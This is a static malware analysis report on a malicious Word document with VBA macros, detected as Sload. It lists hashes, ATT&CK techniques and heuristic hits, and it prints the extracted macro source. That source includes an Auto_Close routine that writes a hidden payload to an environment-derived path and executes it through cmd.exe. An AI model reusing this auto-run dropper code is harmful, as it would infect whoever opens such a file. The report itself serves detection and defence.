Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 b5b56cabf1135e26…

MALICIOUS

Office (OOXML)

79.5 KB Created: 2020-04-02 15:11:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2020-07-24
MD5: be166072a340ca7ebf69fe8f58934093 SHA-1: 54ce4192795e2ea33b753f12421adc88629d007f SHA-256: b5b56cabf1135e26193e77b37533fa8e6ed309830a0fe0192d3c84b4090399c1
298 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059.003 Windows Command Shell T1566.001 Spearphishing Attachment

The sample contains VBA macros, including an Auto_Close macro, which is designed to execute cmd.exe. The script attempts to construct a file path using the Environ function and then writes data to it before executing the constructed command. This indicates a downloader or dropper functionality, likely intended to fetch and run a secondary payload.

Heuristics 8

  • ClamAV: Doc.Malware.Sload-7648529-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Sload-7648529-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    T2.T1
    Shell "cmd.exe /c" & REtas & Teriol.Tag, 0
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    T2.T1
    Shell "cmd.exe /c" & REtas & Teriol.Tag, 0
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Auto_Close macro low OLE_VBA_AUTOCLOSE
    Auto_Close macro
    Matched line in script
    Private T2 As New Class1
    Sub autoclose()
    REtas = Environ(Teriol.Caption)
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Sub autoclose()
    REtas = Environ(Teriol.Caption)
    T2.T1
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://movingahead.psy.unsw.edu.au/ In document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1603 bytes
SHA-256: 2d7331aea71a86dd756914b6e4c0a4fed0107677b13426b8adc57f5f0bb2bdd9
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "Trest"
Attribute VB_Base = "0{4E29983D-DAF6-435D-9B0F-40EE0E4070D6}{9684446D-704E-4898-BEF2-85DBC8116D0F}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Module2"
Private T2 As New Class1
Sub autoclose()
REtas = Environ(Teriol.Caption)
T2.T1
Shell "cmd.exe /c" & REtas & Teriol.Tag, 0

End Sub



Attribute VB_Name = "Teriol"
Attribute VB_Base = "0{2303D3D2-E3D0-442A-90F5-EB9F77A3F5DD}{4D08B777-07EB-462E-9669-8CD01D92F501}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "Class1"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Sub T1()
REtas = Environ(Teriol.Caption)

Herti = REtas & Teriol.Tag
    Open Herti For Output As #1
    Print #1, Teriol.Teriope
    Close #1
End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 19968 bytes
SHA-256: f32339a2fabb80caf0b2eda9e2b3511d1a779b3a3621deb52518fce9f940cabc
Detection
ClamAV: Doc.Malware.Sload-7648529-0
Obfuscation or payload: unlikely